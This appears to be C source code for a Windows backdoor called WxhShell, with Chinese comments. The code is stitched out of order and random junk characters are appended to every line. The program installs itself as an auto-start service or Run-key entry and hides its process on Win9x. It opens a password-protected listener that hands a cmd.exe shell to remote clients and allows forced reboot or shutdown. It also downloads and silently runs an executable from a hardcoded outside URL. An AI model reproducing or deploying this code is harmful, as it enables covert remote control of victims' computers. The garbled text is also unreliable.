    break; +PsR*T  
    } C_ d|2C6  
  // 关机 aw lq/  
  case 'd': { 52# *{q}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +,R!el!o~u  
    if(Boot(SHUTDOWN)) `%#_y67v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KLG.?`h:  
    else { 2P'Vp7f6 Y  
    closesocket(wsh); :+QNN<  
    ExitThread(0); .j,xh )v"  
    } fk?!0M6d  
    break; $1d{R;b[  
    } tAep_GR  
  // 获取shell T>1#SWQ/9  
  case 's': { @V^.eVM\R  
    CmdShell(wsh); 3j$, L(  
    closesocket(wsh); hmLI9TUe6  
    ExitThread(0); Kc^ctAk7;  
    break; P%yL{  
  } kzUj)  
  // 退出 ^9hc`.5N&?  
  case 'x': { -*w2<DCn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q3/4l%"X  
    CloseIt(wsh); yr>J^Et%_  
    break; Ho/tCU|w  
    } O\;Lb[`lb  
  // 离开 3HP { a  
  case 'q': { <bCB-lG*Kb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6K8v:yYPa  
    closesocket(wsh); 6?US<<MQ  
    WSACleanup(); Fq+Cr?-  
    exit(1); xA:;wV  
    break; |p+FIr+  
        } rttKj{7E  
  } [-Y~g%M  
  } ,mCf{V]#  
_O87[F1  
  // 提示信息 `hG`}G|^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N`N=}&v ]  
} T$r/XAs  
  } BDPE.8s  
o8E<_rei  
  return; hB\BFVUSn/  
} W6EEC<$JL  
hr'?#K  
// shell模块句柄 !}U3{L-  
int CmdShell(SOCKET sock) x7l}u`N4  
{ 6OC4?#96%'  
STARTUPINFO si; sP@XV/`3L6  
ZeroMemory(&si,sizeof(si)); mGP%"R2X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }mZCQJ#`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^_G#JJ\@$  
PROCESS_INFORMATION ProcessInfo; &"tQpw5  
char cmdline[]="cmd"; ny^uNIRPR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }*-fh$QJ  
  return 0; p*cyW l  
} Mx93D   
dXY}B=C  
// 自身启动模式 P*?2+.  
int StartFromService(void) r SoT]6/   
{ }/NjZ*u  
typedef struct p.4Sgeh#  
{ ^HP$r*  
  DWORD ExitStatus; ;*Y+.?>a  
  DWORD PebBaseAddress; t*BCpC }  
  DWORD AffinityMask; 30Q77,Nsny  
  DWORD BasePriority; 5$Kv%U  
  ULONG UniqueProcessId; .|L9}<  
  ULONG InheritedFromUniqueProcessId; 60>g{1]  
}   PROCESS_BASIC_INFORMATION; #vy[v22  
&2@Rc?!6_P  
PROCNTQSIP NtQueryInformationProcess; ;Cx`RF w  
~^Ga?Q_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >c:nr&yP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F!C<^q~!  
&V &beq4)p  
  HANDLE             hProcess; 7{S;~VH3  
  PROCESS_BASIC_INFORMATION pbi; 'S v V10$5  
,e`n2)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X&49C:jN  
  if(NULL == hInst ) return 0; id`9,IJx  
v) K|{x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n~w[ajC/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D2MIV&pahP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9ucoQ@  
$V<fJpA  
  if (!NtQueryInformationProcess) return 0; `N}'5{I  
9*n?V;E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j9Z1=z  
  if(!hProcess) return 0; ,FRa6;  
XNvlx4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K;\fJ2ag  
0H}O6kU  
  CloseHandle(hProcess); 4.kn , s  
M M @&QaK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T0@<u  
if(hProcess==NULL) return 0; yG#x*\9  
-=1>t3~\  
HMODULE hMod; cUi6 On1C  
char procName[255]; 11fV|b%  
unsigned long cbNeeded; mv*M2NuhT  
Ve"M8-{oKk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ] TZ/=Id  
(h@~0S  
  CloseHandle(hProcess); K"Irg.  
G-o6~"J\  
if(strstr(procName,"services")) return 1; // 以服务启动 G [yI[7=d  
kOel !A  
  return 0; // 注册表启动 `v/p4/  
} 7Z}T!HFMr  
%|2x7@&s  
// 主模块 e<u~v0rDl  
int StartWxhshell(LPSTR lpCmdLine) !Xq5r8]  
{ AQ"rk9Z  
  SOCKET wsl; &"yoJ<L  
BOOL val=TRUE; <\ ".6=E#W  
  int port=0; d.U"lP/)D  
  struct sockaddr_in door; iN L>TVUM  
9I1i(0q  
  if(wscfg.ws_autoins) Install(); <{eJbNp  
6k|f]BCL  
port=atoi(lpCmdLine); _*t75e$-  
H5gcP11r  
if(port<=0) port=wscfg.ws_port; `[_p,,}Ir  
`Z2-<:]6&a  
  WSADATA data; S*ie$}ZX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v+d`J55  
e:QH3|'y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j2hp*C'^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~>%% kQt  
  door.sin_family = AF_INET; cS#| _  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); VW] ,R1q  
  door.sin_port = htons(port); 7<5=fYb r  
/)Weg1b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZzT"u1,&  
closesocket(wsl); ZZeF1y[q  
return 1; yW}x  
} Hv =7+O$  
$cO-+Mr-~  
  if(listen(wsl,2) == INVALID_SOCKET) { Gx%f&H~Z^  
closesocket(wsl); ch/DBu  
return 1; O3p<7`K<4  
} -}>H3hr  
  Wxhshell(wsl); H ;HFen|  
  WSACleanup(); cw~-%%/  
!3*%-8bp  
return 0; 2<_|1%C  
X&%;(`  
} m]VOw)mBF  
3e;ux6  
// 以NT服务方式启动 $h1pL>^J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )},/=#C0  
{ |@MGGAk  
DWORD   status = 0; +'9xTd  
  DWORD   specificError = 0xfffffff; xI5zP? _v  
V:8{MO(C\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C^ ~[b o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `6*1mE1K&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  1W>0  
  serviceStatus.dwWin32ExitCode     = 0; 1(a+|  
  serviceStatus.dwServiceSpecificExitCode = 0; O]9PYv=^  
  serviceStatus.dwCheckPoint       = 0; %/K;!'7  
  serviceStatus.dwWaitHint       = 0; Mbxrj~ue  
}pT>dbZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @.v{hkM`  
  if (hServiceStatusHandle==0) return; ].N%A07  
s#(<zBZ9p#  
status = GetLastError(); 69``j{Z+  
  if (status!=NO_ERROR) Gwfi  
{ 'R n\CMTH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; & c 81q2  
    serviceStatus.dwCheckPoint       = 0; idZ]d6  
    serviceStatus.dwWaitHint       = 0; %wmbFj}  
    serviceStatus.dwWin32ExitCode     = status; o5w =  
    serviceStatus.dwServiceSpecificExitCode = specificError; \r\wqz7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d((,R@N'  
    return; ?Aky!43  
  } ue!wo-|#G  
Q~)A fa{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'u%SI]*;>  
  serviceStatus.dwCheckPoint       = 0; '&iAPc4=  
  serviceStatus.dwWaitHint       = 0; ']>/$[!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xbze{9n"  
} R lmeZy4.  
U{0! <*W>  
// 处理NT服务事件,比如:启动、停止 (0 S;eM&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l]geQl:7`r  
{ -+ Mh( 'K  
switch(fdwControl) ~"U^N:I"  
{ (=QiXX1r  
case SERVICE_CONTROL_STOP: XCE<].w  
  serviceStatus.dwWin32ExitCode = 0; o:RO(oA0?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]Cc8[ZC  
  serviceStatus.dwCheckPoint   = 0; od]1:8OF  
  serviceStatus.dwWaitHint     = 0; x^!LA,`j  
  { A}0u-W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NS^+n4  
  } <ta#2  
  return; qoJ<e`h}  
case SERVICE_CONTROL_PAUSE:  k< g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /cZ-+cu  
  break; -T.C?Q g  
case SERVICE_CONTROL_CONTINUE: <Lfo5:.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  LhtA]z,m  
  break; G\H|\i  
case SERVICE_CONTROL_INTERROGATE: K]Z];C#)  
  break; 2[Bw+<YA`  
}; )E=~ _`XO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oJor ]QYK  
} -f%J_`  
.Gnzu"lod  
// 标准应用程序主函数 )ZDqj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1H7 bPl|  
{ 690;\O '  
Zl=IZ?F   
// 获取操作系统版本 'FmnlC1  
OsIsNt=GetOsVer(); 6kHb*L Je  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G:!'hadw  
iea7*]vW  
  // 从命令行安装 fdzaM&  
  if(strpbrk(lpCmdLine,"iI")) Install(); U jB5Xks  
Q`[J3-Q*{  
  // 下载执行文件 Iq: G9M  
if(wscfg.ws_downexe) { iig@$ i#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kZHIzU  
  WinExec(wscfg.ws_filenam,SW_HIDE); Nmu=p~f}3`  
} ,~qjL|9  
tJZ3P@ L  
if(!OsIsNt) { g7<u eF  
// 如果时win9x,隐藏进程并且设置为注册表启动 #(Ezt% ^  
HideProc(); {&s.*5  
StartWxhshell(lpCmdLine); ?M@ff0  
} @N+6qO}  
else XiN@$  
  if(StartFromService()) _6{XqvWqb  
  // 以服务方式启动 x_BnWFP  
  StartServiceCtrlDispatcher(DispatchTable); J+0T8 ?A  
else $ 2PpG|q  
  // 普通方式启动 !6DH6<HC  
  StartWxhshell(lpCmdLine); !ZTBiC5R  
3q:>NB<  
return 0; Bq#B+JwX  
} K._* ~-A  
gqQ"'SRw  
QAKA3{-(  
Xmaj7*f>p  
=========================================== \tZZn~ex  
)E (9 R(  
WeRX~  
gC \^"m  
h(3ko An  
G}p* oz~  
" Q a8;MxK`  
Dro2R_j{  
#include <stdio.h> b;Uqyc  
#include <string.h> +C ){&/=#  
#include <windows.h> u(Y?2R  
#include <winsock2.h> Y SD|#0  
#include <winsvc.h> ''~#tK f  
#include <urlmon.h> L&h90Az1W  
/yO|Q{C}M8  
#pragma comment (lib, "Ws2_32.lib") )MU)'1jc,  
#pragma comment (lib, "urlmon.lib") P`!31P#]L  
v* /}s :a  
#define MAX_USER   100 // 最大客户端连接数 `%A>{A"  
#define BUF_SOCK   200 // sock buffer {/PiX1mn  
#define KEY_BUFF   255 // 输入 buffer ^h\Y.  
6=i@t tAK  
#define REBOOT     0   // 重启 23~KzC  
#define SHUTDOWN   1   // 关机 \S`|7JYW  
8S*W+l19f  
#define DEF_PORT   5000 // 监听端口 %:hU:+G E  
$mq @g  
#define REG_LEN     16   // 注册表键长度 w@"l0gm+u[  
#define SVC_LEN     80   // NT服务名长度 0z:BSdno  
mnS F=l;;  
// 从dll定义API c 6Z\ecH9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m(?ZNtBQt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {|ChwM\x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OVgx2_F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4J6,_8`U  
}E]&,[4&M  
// wxhshell配置信息 j9]H~:g$d  
struct WSCFG { O[/l';i  
  int ws_port;         // 监听端口 BARs1^pR4  
  char ws_passstr[REG_LEN]; // 口令 leomm+f^  
  int ws_autoins;       // 安装标记, 1=yes 0=no y( uE  
  char ws_regname[REG_LEN]; // 注册表键名 ej&ZE n  
  char ws_svcname[REG_LEN]; // 服务名 La#otuw+?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 STY\c5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5zR9N>!c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f+iM_MI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^t#W?rxp&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !%s&GD8&l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {Wp5Ane  
$MB /j6#j  
}; /agX! E4s  
wc.T;(  
// default Wxhshell configuration H|i39XV  
struct WSCFG wscfg={DEF_PORT, J_ S]jE{  
    "xuhuanlingzhe", ?,0 5!]  
    1, An0Zg'o!G  
    "Wxhshell", ?cdjQ@j~h  
    "Wxhshell", :^oF0,-qZ  
            "WxhShell Service", _yJAn\  
    "Wrsky Windows CmdShell Service", R#0Z  
    "Please Input Your Password: ", b9gezXAcd  
  1, g(D r/D  
  "http://www.wrsky.com/wxhshell.exe", ^~Dmb2h  
  "Wxhshell.exe" 5$w`m3>i(  
    }; leSR2os  
{D9m>B3"{  
// 消息定义模块 ~KF>Jow?Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BQTibd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;Q&|-`NK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y4.t:Uzr  
char *msg_ws_ext="\n\rExit."; zPKx: I3  
char *msg_ws_end="\n\rQuit."; }g\1JSJ%H  
char *msg_ws_boot="\n\rReboot..."; drc]"6 k  
char *msg_ws_poff="\n\rShutdown..."; 7-u['nFJ  
char *msg_ws_down="\n\rSave to "; quEP"  
G^Q8B^Lg  
char *msg_ws_err="\n\rErr!"; C_~hX G  
char *msg_ws_ok="\n\rOK!"; X|iWnz+^  
V<%eWT)x7C  
char ExeFile[MAX_PATH]; 9;*-y$@  
int nUser = 0; &>]c"?C*  
HANDLE handles[MAX_USER]; V`/D!8>  
int OsIsNt; FhkS"y  
2y0J~P!I  
SERVICE_STATUS       serviceStatus; ,m)k;co^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !QTfQ69Y0  
;@R=CQ6  
// 函数声明 =T0;F0@#4  
int Install(void); ] s))O6^f  
int Uninstall(void); l,n V*Z  
int DownloadFile(char *sURL, SOCKET wsh); bXw!fYm&  
int Boot(int flag); [~[)C]-=  
void HideProc(void); QSxR@hC  
int GetOsVer(void); 3w -0IP]<  
int Wxhshell(SOCKET wsl); $V0G[!4  
void TalkWithClient(void *cs); Bl"BmUn  
int CmdShell(SOCKET sock); =K ctAR;  
int StartFromService(void); 5RysN=czA  
int StartWxhshell(LPSTR lpCmdLine); 7\?0d!  
IW<nfg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BlrZ<\-/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (ndTEnpp  
L~u@n24  
// 数据结构和表定义 L~PBD?l  
SERVICE_TABLE_ENTRY DispatchTable[] = j~Cch%%G  
{ qQ%RnD9  
{wscfg.ws_svcname, NTServiceMain}, (-:lO{@FsC  
{NULL, NULL} D; bHX  
}; (v'#~)R_`  
F^/1 u  
// 自我安装 sD!)=t_  
int Install(void) e M$NVpS3  
{ #!i&  
  char svExeFile[MAX_PATH]; +nj 2  
  HKEY key; 3?+CP-T-j  
  strcpy(svExeFile,ExeFile); ?{Rv/np=F  
N#Y|MfLc  
// 如果是win9x系统,修改注册表设为自启动 `3CdW  
if(!OsIsNt) { 4N- T=Ig  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =>kE`"{!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V4.&"0\n#  
  RegCloseKey(key); >-0\wP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `pfZJ+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R;]z/|8  
  RegCloseKey(key); ?b8 :  
  return 0; = @EN]u  
    } Ac2,A>  
  } \pVmSac,  
} qz@k-Jqq d  
else { P~H?[ ;  
lI<Q=gd  
// 如果是NT以上系统,安装为系统服务 , Y\`n7Ww  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +' lj\_n  
if (schSCManager!=0) rEF0A&5  
{ '=Z]mi/aw  
  SC_HANDLE schService = CreateService -*<4 hFb  
  ( D\ ;(BB  
  schSCManager, 5(+PI KCjC  
  wscfg.ws_svcname, U_8 Z&  
  wscfg.ws_svcdisp, fVXZfq6  
  SERVICE_ALL_ACCESS, 6` 8H k;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +'ZJ]  
  SERVICE_AUTO_START, C;UqLMrOI  
  SERVICE_ERROR_NORMAL, T{"[Ih3Mbl  
  svExeFile, KqD]GS#(  
  NULL, Oe/&Ryj=mm  
  NULL, s.#%hPX{  
  NULL, |}-bMQ|  
  NULL, _-M27^\vV  
  NULL S#^2k!(|G  
  ); 5OR2\h!XZt  
  if (schService!=0) <?&Y_  
  { >]!8f?,  
  CloseServiceHandle(schService); cUH. ^_a  
  CloseServiceHandle(schSCManager); ,'nd~{pX"(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3b d(.he2u  
  strcat(svExeFile,wscfg.ws_svcname); jGSY$nt9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S <RbC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n?[JPG2X  
  RegCloseKey(key); Mxmo}tt  
  return 0; ev'` K=n8  
    } RXD*;B$v  
  } X>la!}sV  
  CloseServiceHandle(schSCManager); UD!-.I]  
} t4P`#,:8  
} !2o1c  
%6%~`((4  
return 1; ~O c:b>~  
} b4R;#rm  
3OlXi9>3  
// 自我卸载 z]%c6ty  
int Uninstall(void) I,lX;~xb  
{ ^5D%)@~  
  HKEY key; ..K@'*u  
-`8pahI  
if(!OsIsNt) { +v.<Fw2k#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]<xzCPB  
  RegDeleteValue(key,wscfg.ws_regname); B@ xjwBUk  
  RegCloseKey(key); j&Trvw<t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3n!f'" T  
  RegDeleteValue(key,wscfg.ws_regname); q?* z<)#  
  RegCloseKey(key); 1 O?bT,"b  
  return 0; QhJuH_f 0  
  } B4Fuvi  
} J85S'cwZZ  
} V"Sa9P{y"  
else { !0Mx Bem  
-\9K'8 C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EEn8]qJC  
if (schSCManager!=0) @"G+kLv0  
{ dHsI<:T#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nf0]<x2  
  if (schService!=0) \V_ Tc`  
  { VrIR!9%:  
  if(DeleteService(schService)!=0) { r6Qsh CA"  
  CloseServiceHandle(schService); Ht"?ajW{  
  CloseServiceHandle(schSCManager); \:m1{+l  
  return 0; KPrH1 [VU  
  } _qO'(DKylC  
  CloseServiceHandle(schService); Tpd|+60g  
  } qI%X/'  
  CloseServiceHandle(schSCManager); Z_h-5VU-  
} j2RdBoCt  
} 0sA+5*mdM  
KSAE!+  
return 1; ;I/ A8<C  
} I'E7mb<2  
mz|p=[lR|  
// 从指定url下载文件 N`HiNb [  
int DownloadFile(char *sURL, SOCKET wsh) [0n[\& 0  
{ x:6c@2  
  HRESULT hr; 5~[m]   
char seps[]= "/"; Fy$f`w_H@  
char *token; 2 oo/KndU  
char *file; `tPVNO,l  
char myURL[MAX_PATH]; (2Z k fN  
char myFILE[MAX_PATH]; [Qqomm.[\w  
6E-AfY'<  
strcpy(myURL,sURL); R uGG3"|  
  token=strtok(myURL,seps); fgoLN\  
  while(token!=NULL) ictV7)  
  { `k6ZAOQtX  
    file=token; .Im=-#EN  
  token=strtok(NULL,seps); TjE'X2/  
  } ,rS?^"h9  
*>h|<|T'  
GetCurrentDirectory(MAX_PATH,myFILE); P?ms^   
strcat(myFILE, "\\"); b+CJRB1  
strcat(myFILE, file); 5HaI$>h6  
  send(wsh,myFILE,strlen(myFILE),0); ubv>* iO  
send(wsh,"...",3,0); al"=ld(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L++qMRk9  
  if(hr==S_OK) D&{CC  
return 0; T I|h  
else v1rTl5H  
return 1; v`@NwH<r  
/Nkxb&  
} *M ^ <oG  
yv|`A2@9  
// 系统电源模块 cLf<YF  
int Boot(int flag) `W:z#uNG]  
{ ~1&WR`U  
  HANDLE hToken; Ew JNpecX  
  TOKEN_PRIVILEGES tkp; TM5 Y(Q*  
EsS$th)d  
  if(OsIsNt) { P1R5}i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 61w ({F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ob;O,&e0>  
    tkp.PrivilegeCount = 1; \U3v5|Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?<` ;lu/eL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~F^tLi!5  
if(flag==REBOOT) { M1icj~Jr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !zfKj0^  
  return 0; /i~x.i3  
} !QpOrg  
else { }xry  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NBL%5!'  
  return 0; H:)_;k  
} @^R l{p  
  } 15S&,$ 1&  
  else { y 2)W"PuG  
if(flag==REBOOT) { 6e8 gFQ"w2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .DI?-=p|_#  
  return 0; osl\j]U8  
} &1Cs'  
else { ,+ 5:}hR+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d'"|Qg_'  
  return 0;  wX5q=I  
} $A`m8?bY  
} dVUe!S`  
W4,'?o  
return 1; ('{aOiSH  
} CBv0fQtL  
PXyv);#Q`  
// win9x进程隐藏模块 Ze[,0Y!u&  
void HideProc(void) p|(SR~;6  
{ OD9z7*E@  
=Oq *9=v|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T(qTipq0  
  if ( hKernel != NULL ) '#XT[\  
  { 9a @rsyX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vz~Oi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @mJ~?d95v  
    FreeLibrary(hKernel); Mg2e0}{  
  } z)(W x">  
Rx.v/H  
return; L+*:VP6WD  
} : 0 ,yq?M  
4BSqL!i(  
// 获取操作系统版本 /wax5FS'I,  
int GetOsVer(void) KZTLIZxI-  
{ OLqV#i[K#9  
  OSVERSIONINFO winfo; &=x4M]t9L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jo^c>ur  
  GetVersionEx(&winfo); n\M8>9c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y!8FW|  
  return 1; yIcTc  
  else B]H8^  
  return 0; [_nOo`  
} @TQ/Z$y  
F}7sb#G  
// 客户端句柄模块 5.*,IedY  
int Wxhshell(SOCKET wsl) lKB9n}P  
{ l^d'8n  
  SOCKET wsh; >[Wjzg  
  struct sockaddr_in client; 0k{\W  
  DWORD myID; =@0J:"c  
YVwpqOE.=  
  while(nUser<MAX_USER) Xl<iR]lda  
{  |iI dm  
  int nSize=sizeof(client); bU}v@Uk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x\U[5d   
  if(wsh==INVALID_SOCKET) return 1; "V(P)_  
K"x_=^,Yu*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K2yu}F^}  
if(handles[nUser]==0) e MHz/;I  
  closesocket(wsh); p_g`f9q6D  
else k#zDY*kj  
  nUser++; 9(J,&)J  
  } n| {#5#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lOp. c U  
[{Jo(X  
  return 0; :-5[0Mx=  
} TIxOMYy  
I`_I^C3  
// 关闭 socket Y X^c}t}U  
void CloseIt(SOCKET wsh) [8a(4]4  
{ s~].iQJ{B  
closesocket(wsh); W2#<]]-  
nUser--;  [#C6K '  
ExitThread(0); GdcXU:J /  
} >x JzV  
!8[T*'LJ-  
// 客户端请求句柄 4`,7 tj  
void TalkWithClient(void *cs) DtFHh/X  
{ L7Hv)  
v@soS1V!  
  SOCKET wsh=(SOCKET)cs; A1INaL  
  char pwd[SVC_LEN]; = V2Rq(jH  
  char cmd[KEY_BUFF]; O-X(8<~H=  
char chr[1]; Xg96I: r'p  
int i,j; :Y\ ~[Y  
**L&I5Hhm  
  while (nUser < MAX_USER) { W`_JERo  
1,%`vlYv  
if(wscfg.ws_passstr) { F5qA!jZ1]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q{|%kU"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P,ueLG=  
  //ZeroMemory(pwd,KEY_BUFF); 953qz]Q8  
      i=0; ?UAuUFueA  
  while(i<SVC_LEN) { dI ,A;.  
@k&6\1/U  
  // 设置超时 \^*:1=|7u]  
  fd_set FdRead; $j.;$~F  
  struct timeval TimeOut; 1oej<67PdJ  
  FD_ZERO(&FdRead); tkT,M,]?9  
  FD_SET(wsh,&FdRead); O{_t*sO9q*  
  TimeOut.tv_sec=8; vt{[_L(h  
  TimeOut.tv_usec=0; r=5 S0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )0-A;X2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ea"X$<s>-  
6[3Xe_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /iFn =pk1?  
  pwd=chr[0]; AN Fes*8j  
  if(chr[0]==0xd || chr[0]==0xa) { IQ @9S  
  pwd=0; S>0%jCjW  
  break; B{`adq?pW  
  } Q?i_Nl/|  
  i++; SK\@w9#&$  
    } OUi;f_*[r  
~ tA ^K  
  // 如果是非法用户,关闭 socket FC] *^B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %-blx)Pc  
} "00j]e.  
~j'D%:[+VH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1`K-f m)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q;$k?G=l  
xrPZy*Y,  
while(1) { Xx{| [2`  
VGc*aQYa  
  ZeroMemory(cmd,KEY_BUFF); b^$`2m-?@f  
ZLT?G  
      // 自动支持客户端 telnet标准   &T,|?0>~=J  
  j=0; ZOEe-XW  
  while(j<KEY_BUFF) { E+lR&~mK=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &SE}5ddC7  
  cmd[j]=chr[0]; bgi_QB#k\  
  if(chr[0]==0xa || chr[0]==0xd) { no3yzF3Hi  
  cmd[j]=0; E2'Wzrovlo  
  break; -U/)y:k!%  
  } 1 %P-X!  
  j++; (N9-YP?qm  
    } H54RA6$>  
x#EE_i/W  
  // 下载文件 KSPa2>lz?  
  if(strstr(cmd,"http://")) { R.rc h2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _d@YLd78P  
  if(DownloadFile(cmd,wsh)) ; BN81;  
